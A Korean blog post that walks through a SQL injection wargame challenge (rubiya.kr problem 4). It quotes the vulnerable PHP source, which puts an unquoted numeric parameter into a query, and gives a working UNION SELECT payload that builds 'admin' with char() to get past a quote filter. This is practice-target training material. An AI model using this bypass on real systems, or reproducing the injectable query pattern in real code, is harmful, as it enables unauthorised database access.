webhacking/sql, sql injection

rubiya.kr 4번

qkqhxla1 2014. 8. 28. 14:05

http://rubiya.kr/sqli/prob4.php


<?php 
  
include "./dbconn.php"
  include 
"./solve.php"
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i'$_GET[no])) exit("No Quotes ~_~"); 
  
$query "select id from prob4 where id='guest' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve(); 
  
highlight_file(__FILE__); 
?>


이것도 조금 다릅니다. GET방식으로 no값만 받네요. 쿼리문을 살펴보면 no에는 ',",` 등이 필터링되어


있지만 쿼리문을 돌릴시에는 싱글쿼터로 감싸져있지 않아서 굳이 필요는 없을 것 같습니다.


마지막 인자면서 no가 숫자로 들어올 것을 예상해서 싱글쿼터로 감싸주지 않으면 취약한 일반적인


코드입니다.


?no=1로 한번 보내보면 hello guest라고 뜹니다. 코드 해석해보면 클리어 조건은 id가 admin이 


나오면 클리어네요.


no=1에 guest가 있으므로, no=0같은 아무것도 표시되지 않은 번호를 고른 후에, union으로 


문자열을 만들어주면 되겠네요.


?no=0 union select 'admin' 처럼 만들어주면 되겠지만 싱글쿼터가 필터링되어있습니다.


그러면 싱글쿼터를 쓰지않고 char함수로 admin이라는 문자열을 만들어주면 됩니다.


http://rubiya.kr/sqli/prob4.php?no=0%20union%20select%20char(97,100,109,105,110)


query : select id from prob4 where id='guest' and no=0 union select char(97,100,109,105,110)


char함수는 아스키코드값을 받아서 문자로 반환합니다.




'webhacking > sql, sql injection' 카테고리의 다른 글

rubiya.kr 6번  (0) 2014.08.28
rubiya.kr 5번.  (0) 2014.08.28
rubiya.kr 3번  (0) 2014.08.28
rubiya.kr 2번  (0) 2014.08.28
rubiya.kr 1번.  (0) 2014.08.28